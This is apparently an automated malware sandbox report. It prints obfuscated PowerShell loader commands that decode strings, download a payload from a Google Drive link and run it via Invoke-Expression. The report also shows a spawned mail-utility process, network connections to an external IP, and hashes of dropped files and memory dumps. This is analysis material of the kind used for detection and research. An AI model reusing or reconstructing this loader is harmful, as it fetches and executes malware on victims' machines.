'FljetSDgnratScollaC arkr tifttPa,ag-RaglaSToccal RkeneBandledosimp ini gow s4Skyde ');Levir (Bevandret 'Brisk$ Progg partlBilleoVikinbSkakta ThrulSnnek:NaragD Smrsa CoedrN,ncotS tsfadiffugAc.din ChetaAratinSoffi=Tab n( StriTFrstee atsusVidertEkspo-Fori PRepreaBver.tGloheh O.di Askeb$ SkjoMS,akkuAnklalVanditslimiiDentidGa.rne IntenNegleo raemDealliOve rnPseudaSagsbt ensliAncisoMinkinAfln aUnedgl redi)Wh op ') ;Levir (Bevandret 'Net.p$ RivugF brilPostuo Fregbls.laaLivs,l Inde:Hy erDInduseColornln,ero IsoltK rkea OvertPapi u HolimS pho= Unde$PopligBags lresero nticbOlde aGrundlDad i: ClapOGandhpJ,lpapSkriviDr abdMateraTusinnTumpfs Swim+Overh+fodbo%Urteg$TrompWFibrie melleFigurkfoxlieUndernTumtudTinpefSuperrSwankiTiddytVenli.A,klac xpanoCes ku ItainSmrebtInco. ') ;$Kropssprog=$Weekendfrit[$Denotatum];}$Antisiphon47=335402;$filnumre=29061;Levir (Bevandret 'Slutn$Telefg RaadlStenkoSeignb PostaPosnilSpred: enelOSkraavUneneeElevrrForsnmUdle,iLinielNonchiDiagntJu,ioaAweatrDisiliV rucs welltE,ageiPrdikcUnrec ,ucc= Betj MasocGPreboeBevrttTangn-hetaeCCarsmoEpiton ,ncotHypereForton U detLderr Papel$HulkiMCanosuhaandlKissmtMezzoiDollmdPhonae allunRefo o A chmFriv i ubcanSubspaFle btfaksiiSmittoSightnE genaCommel ilte ');Levir (Bevandret 'Cuboi$Em.owgInadhl SulfoPrimrb Han aCog,ol Loft:PumpeSArbejpTr ruoPacetrHieraiinvolnGradag nbros,kibssProprt HurwaAnnult Co tiBes,ooInfilnUns,neMotorrslang C,rtw=,ntra Hyper[Blu.bSDiscryCatvusHobhotLuxu,eTilr m For .OstecCLinieoudspenvolosvLid,aeProlirUdvirtSkopu]Statu:aarti: KronFWernar Dento Co am JustB ChecaMeje,sggeble Fung6Eolop4ant cSsporvtGeleer.emini Un dnAvertg Cita( rick$EternONdkskvdisc e BombrHuggem Bin,iHors lPerfeiOplystGalataContrr OrlaiN,npasOver tHebdoiUndescRepro) ouce ');Levir (Bevandret 'budd $TappegJ ddyl SecuoForsgb T blaNrofflFract: toppOHushouTetantRegnesPatrutOverhiSl,ernFummmgDe.ar H.rod=Iron, Bakk[ bro.S MarcyPerpesSwirrtPanameSpatim Regn.T,adeT ArbeePins xFlagstInter.HypsiE SjllnAgen.c SkrvocarvodJe.emiFranknUnsa gDatao]Advar:Rifle:Des gAPolysSH emsCKiltiI ydskIHalvr.RasteGFngseePe titAnimiS Plait pildrS ormiReimanEfte gKonc.(Wh el$Anti,SCoho,pPropro TonirAut riCoynunFrilagMindls.ullas DeprtGut ia C stt UdmniAn.eloSlappnperfeeTicktrStats) lvsm ');Levir (Bevandret ' Fler$Unbrugfl,xilOutgroFla sb,arbeaUnl,nlFlus :PleocHDestieInde rNeutraAndelu aselsO,erm= Ov.r$CisteONyerhu Warft asersUna,ftScarciF tidn janigRyge .Kiti scoop.uTrkerb uarsPo,tct nmagr,artii Nonsn ShahgSkval( K va$,erisA IngunStenotGudmdisubtlsS mmeiAr,anpNedruhReageo ndernthyr.4 lect7Uncov, Halv$HousefDer,ni annlAr,ognReassuAutormAntenr regneTarif)Ca ak ');Levir $Heraus;"
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Undeductible Erklrende Scrutinising #>;$Unidigitate='Paggle';<#Gennemsnitslager Blegeste parasolette Bankrolling Pullman #>;$Lyophile=$host.PrivateData;If ($Lyophile) {$Fichuet++;}function Bevandret($Chay){$Akkordeoner10=$Chay.Length-$Fichuet;for( $Catering=5;$Catering -lt $Akkordeoner10;$Catering+=6){$Sortbrshandel228+=$Chay[$Catering];}$Sortbrshandel228;}function Levir($Circumtonsillar){ & ($Locusting144) ($Circumtonsillar);}$Mats=Bevandret 'PressMGaussoSvajrzIstaniSpra,lFlenslBenziaDokt /Ar.he5Sub r. Zuri0Akk r .dgi(Expr Wg naaiAlsacnDecimdCatasoOctadw equis Trai SeedN TegnT inis Desti1 Comb0Epige.Model0 Flat;Cant exanW P epiaristnOv,rs6Gru,d4Porse;Sturt AfgifxTilt 6Cling4,isto;legis McginrAssigvVapor:Aldol1Frogl2Zardm1Doven.kae l0Dob e)Efter PolyGUnipeeCrowncBlis,kNapifoListe/ Half2 Sy e0Prepe1,pina0 riss0Amtsg1Ala k0Smelt1d.mme Beti,Fe anaiDob.erTilsieMontrfMultiolns.ix Poe./Hipp,1Tilba2 Bele1 Reco.Unnom0Forte ';$Cateringlario=Bevandret 'K.svauo.erasPalpeEVess.RAbort-FrdigAbagsigTmmereAlminn Pa tterhve ';$Kropssprog=Bevandret 'Frimrh,lokkt odeltEmulspAc,uis inde: Ska./Stigr/HereddImarer Re uiTuffev odbe Bind.tovnigGuateoU faroParkegInterlbund eStege.SystucOversoP,rmemSvuls/ BloduApparcLin e?A opeeSchtixOr,efpInstro U flr B,ldtMogot= GrundPlastono.fow da anA.thrlTiljuoS.mora .enndUpflu&Pomo i Tem.dUnm v=Insid1 ntelASvajeRPre oF P stM WhitqRurergT.lriQHo ca9,roemHSmergy oghamChampLRi gepFolebwVrget2HolocXSemesoProjeiTriksFfriedgRhodag conc4Befol4ChronfDupliTTrkl,bS,lteWPrfa,Z Hovey Non NSqui,KRer gOUbeta ';$Nitrosite=Bevandret 'Besti>Su.er ';$Locusting144=Bevandret 'concriEnd ce C,keXGenkb ';$Abdicator='Suldans';$Dicatalectic = Bevandret 'TransePrdikc olamh lleoAbbey Refri%Beaveahaglbp,rayep Ringd algbaE foltDesina acht%Uns,m\Bev sNp rtmo,axonnAftrka RosepKv,lioD,spisMi jttImmunaMedlet Tridi .otlzCo iciFindynPengeg Tress Yabu.AbstrN muraosest,nSkr,e Unma&Glott&Rugni Reduce ominc reskh Resho Fy r Ki kutUlpmi ';Levir (Bevandret 'Palat$RichegGidsel rffeoMinerb ,evoaAstralampel:AntisEA.hopn F.nej O deeUdvidtMoti,=Stili(B rikcBrasem PremdVerni Skbn./ ThebcEvang Agram$DowdiDPrepri rbejcK,leraGrovdtAnsttaEk.emlBir heAttlecHusmnt Tyr iInvescUn og) Ungk ');Levir (Bevandret ' Spu $Ild bgPitomlBefrioE ersbKlim,aM jeml Maal:Do keW Supre AutoeGa sskTiltae .aanndaugad magfGreylr rkrei P ectpervi=Forrd$t murKUo.fir mangoSuf.opAltersOpsnasIn,erpattr rnondeoUdeergEnmes.pr grs FastpLufttlPern iBuf etA.tma( kole$ChimnNHovedi GenetAutomr BrunoSteddsInfigiTanket Ca.aeCache)Unhou ');Levir (Bevandret 'Res r[Bi elNA dele HjertBalli.Kol,kSVa uuecammerKnavevSp oni Stalct ange JamaP St xoEnfeti JernnInkakt DramMHvil.a milin orsyaUnderg MinieTegnerStrit] Stro:Barre:IntenSkapnieSprric aturuF rber Ski,iOverctLeucoyDamn PEksperNitroo SysttKedeloFeriecAutokoKoksel unk Juri =.heat Eriks[ Slv.NCentreAnmastDem r. ReinS DroseOmkrscHologuFlipdrElmaaiLimnotB achyNevscPopsenrDaakao echyt F.broTeroscBoligoCau.alPo luTIndbyy Non pAmoebeKlie ]Fi it:Inval: tatuTParahlTriumsForbe1Perit2Makro ');$Kropssprog=$Weekendfrit[0];$undrunken= (Bevandret 'Unwat$tamp gTe.delTutteOYoungBkogepavok.elEa th:Raakah oldsA BagdV SpalB Ril iT sseODistol KamcoUndvigConstIFo,ktS,eassK M ds=Ap ean jeneE NutswS.ole-FraskoMicroBYrk rJShamoEDek pcFjodoTSuper ZippSJok sYKos.esRev et AbioERastpmMass . Retrn L ukEBedewt Trau.CrucewFodnoECongobSabziCtilkaL LectiT dimEtertuNTermot');$undrunken+=$Enjet[1];Levir ($undrunken);Levir (Bevandret 'Stern$Jarl h AnegaKvartvDicerbSolceiCi,cuoBegunl lhexoBoratgImmigiSalifsOu pekPukke.Amal H TeeteChitta KlosdUnwateDragsropl tsFo sk[Const$ForbrCBindia inintLseneePicayrSour iLi nin .otag nitlSandca ensrRedemiRomeroKruge]Toler= ravi$De,tiM RdstaOve et ChlosSa.me ');$Evese=Bevandret 'Lice $Langehbaan a BearvFag obNephriReconoMatril Proco Re ngLifeliSkihesTryghkIndep.InterDChelooUlejlw B.rnn BelalCapsuosold aGuttid Uni FFiguri Gi.pl PrteeAnfly(E,ten$AcadeKCompur alpeoDend.punfrusIndspsPresip evor AntnoTran g Svan,Sreje$ pulsMTungsu Kludl rkaitC,poniAto adAf,tie,xidanForlyosulphmC,anciNodu,nPhiloast,tutElysiiSmothoPsit n Turia ylonlDetin)Solmi ';$Multidenominational=$Enjet[0];Levir (Bevandret 'Forre$ PartgKatatlU.whiOEpitoBPokeraPayabLC pta:Anta DGrumsaAsla RAcmatTSgneda verhg vedN as,rAParlanAuton= Py.i(Gr.viTSigbeEPetrosCortitBortk-Arbejpfis eA ijuTLdaasHSy os Disce$K.nvoMSysilUMyxopLm.terthead IsockmDKakotERin nNGrafiO virkmSixtyI Amb nfremkaIdriftKostpiDestaOHose nNymphaAnhngLFlipp)De kl ');while (!$Dartagnan) {Levir (Bevandret 'Annui$Ting,gUnfrul Dul o KludbMlle a Fejll ch m:pr.toSOpfathTus haI.dusbSubmoaBiggesFabulhNnsom=Malor$B efotExilirPs uduS aireIse k ') ;Levir $Evese;Levir (Bevandret 'FljetSDgnratScollaC arkr tifttPa,ag-RaglaSToccal RkeneBandledosimp ini gow s4Skyde ');Levir (Bevandret 'Brisk$ Progg partlBilleoVikinbSkakta ThrulSnnek:NaragD Smrsa CoedrN,ncotS tsfadiffugAc.din ChetaAratinSoffi=Tab n( StriTFrstee atsusVidertEkspo-Fori PRepreaBver.tGloheh O.di Askeb$ SkjoMS,akkuAnklalVanditslimiiDentidGa.rne IntenNegleo raemDealliOve rnPseudaSagsbt ensliAncisoMinkinAfln aUnedgl redi)Wh op ') ;Levir (Bevandret 'Net.p$ RivugF brilPostuo Fregbls.laaLivs,l Inde:Hy erDInduseColornln,ero IsoltK rkea OvertPapi u HolimS pho= Unde$PopligBags lresero nticbOlde aGrundlDad i: ClapOGandhpJ,lpapSkriviDr abdMateraTusinnTumpfs Swim+Overh+fodbo%Urteg$TrompWFibrie melleFigurkfoxlieUndernTumtudTinpefSuperrSwankiTiddytVenli.A,klac xpanoCes ku ItainSmrebtInco. ') ;$Kropssprog=$Weekendfrit[$Denotatum];}$Antisiphon47=335402;$filnumre=29061;Levir (Bevandret 'Slutn$Telefg RaadlStenkoSeignb PostaPosnilSpred: enelOSkraavUneneeElevrrForsnmUdle,iLinielNonchiDiagntJu,ioaAweatrDisiliV rucs welltE,ageiPrdikcUnrec ,ucc= Betj MasocGPreboeBevrttTangn-hetaeCCarsmoEpiton ,ncotHypereForton U detLderr Papel$HulkiMCanosuhaandlKissmtMezzoiDollmdPhonae allunRefo o A chmFriv i ubcanSubspaFle btfaksiiSmittoSightnE genaCommel ilte ');Levir (Bevandret 'Cuboi$Em.owgInadhl SulfoPrimrb Han aCog,ol Loft:PumpeSArbejpTr ruoPacetrHieraiinvolnGradag nbros,kibssProprt HurwaAnnult Co tiBes,ooInfilnUns,neMotorrslang C,rtw=,ntra Hyper[Blu.bSDiscryCatvusHobhotLuxu,eTilr m For .OstecCLinieoudspenvolosvLid,aeProlirUdvirtSkopu]Statu:aarti: KronFWernar Dento Co am JustB ChecaMeje,sggeble Fung6Eolop4ant cSsporvtGeleer.emini Un dnAvertg Cita( rick$EternONdkskvdisc e BombrHuggem Bin,iHors lPerfeiOplystGalataContrr OrlaiN,npasOver tHebdoiUndescRepro) ouce ');Levir (Bevandret 'budd $TappegJ ddyl SecuoForsgb T blaNrofflFract: toppOHushouTetantRegnesPatrutOverhiSl,ernFummmgDe.ar H.rod=Iron, Bakk[ bro.S MarcyPerpesSwirrtPanameSpatim Regn.T,adeT ArbeePins xFlagstInter.HypsiE SjllnAgen.c SkrvocarvodJe.emiFranknUnsa gDatao]Advar:Rifle:Des gAPolysSH emsCKiltiI ydskIHalvr.RasteGFngseePe titAnimiS Plait pildrS ormiReimanEfte gKonc.(Wh el$Anti,SCoho,pPropro TonirAut riCoynunFrilagMindls.ullas DeprtGut ia C stt UdmniAn.eloSlappnperfeeTicktrStats) lvsm ');Levir (Bevandret ' Fler$Unbrugfl,xilOutgroFla sb,arbeaUnl,nlFlus :PleocHDestieInde rNeutraAndelu aselsO,erm= Ov.r$CisteONyerhu Warft asersUna,ftScarciF tidn janigRyge .Kiti scoop.uTrkerb uarsPo,tct nmagr,artii Nonsn ShahgSkval( K va$,erisA IngunStenotGudmdisubtlsS mmeiAr,anpNedruhReageo ndernthyr.4 lect7Uncov, Halv$HousefDer,ni annlAr,ognReassuAutormAntenr regneTarif)Ca ak ');Levir $Heraus;"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nonapostatizings.Non && echo t"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | 110.201.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 225.179.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.179.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.179.227:80 | o.pki.goog | tcp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | 227.179.250.142.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 215.191.184.137.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 18.134.221.88.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
Files
memory/1108-0-0x00007FFA0FB63000-0x00007FFA0FB65000-memory.dmp
memory/1108-1-0x000002B422B90000-0x000002B422BB2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u3vlywzl.1lr.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1108-11-0x00007FFA0FB60000-0x00007FFA10621000-memory.dmp
memory/1108-12-0x00007FFA0FB60000-0x00007FFA10621000-memory.dmp
memory/1108-15-0x00007FFA0FB63000-0x00007FFA0FB65000-memory.dmp
memory/1108-16-0x00007FFA0FB60000-0x00007FFA10621000-memory.dmp
memory/1108-17-0x00007FFA0FB60000-0x00007FFA10621000-memory.dmp
memory/1324-18-0x0000000004CC0000-0x0000000004CF6000-memory.dmp
memory/1324-19-0x0000000005370000-0x0000000005998000-memory.dmp
memory/1324-20-0x00000000052F0000-0x0000000005312000-memory.dmp
memory/1324-21-0x0000000005A10000-0x0000000005A76000-memory.dmp
memory/1324-22-0x0000000005B70000-0x0000000005BD6000-memory.dmp
memory/1324-32-0x0000000005BE0000-0x0000000005F34000-memory.dmp
memory/1324-33-0x0000000006190000-0x00000000061AE000-memory.dmp
memory/1324-34-0x00000000061C0000-0x000000000620C000-memory.dmp
memory/1108-35-0x00007FFA0FB60000-0x00007FFA10621000-memory.dmp
memory/1324-36-0x00000000079E0000-0x000000000805A000-memory.dmp
memory/1324-37-0x0000000006730000-0x000000000674A000-memory.dmp
memory/1324-38-0x0000000007420000-0x00000000074B6000-memory.dmp
memory/1324-39-0x00000000073C0000-0x00000000073E2000-memory.dmp
memory/1324-40-0x0000000008610000-0x0000000008BB4000-memory.dmp
C:\Users\Admin\AppData\Roaming\Nonapostatizings.Non
| MD5 | 762077e498d7a658ee381fcfaf25d060 |
| SHA1 | 26410bd382fe84fedeec847889e22f4bb1964931 |
| SHA256 | 7fa884749148a539e45b787679fe8524daf7f7d8c4c4db6207a60932ab7e7a79 |
| SHA512 | 60aff6624dca974f03fb57b78408f2505fd2878cbaeaf9a05a434344984c7c373424e3bb30f90db7c800f56100b7bc3cb316b57d3128266accdfbb3a0a2a1c76 |
memory/1324-42-0x0000000008BC0000-0x000000000B143000-memory.dmp
memory/1108-43-0x00007FFA0FB60000-0x00007FFA10621000-memory.dmp
memory/4348-44-0x0000000001210000-0x0000000003793000-memory.dmp
memory/4348-57-0x0000000001210000-0x0000000003793000-memory.dmp
memory/1108-60-0x00007FFA0FB60000-0x00007FFA10621000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-786284298-625481688-3210388970-1000\0f5007522459c86e95ffcc62f32308f1_1b74ca46-c49b-4c52-a57d-8cd1ff70c625
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-786284298-625481688-3210388970-1000\0f5007522459c86e95ffcc62f32308f1_1b74ca46-c49b-4c52-a57d-8cd1ff70c625
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |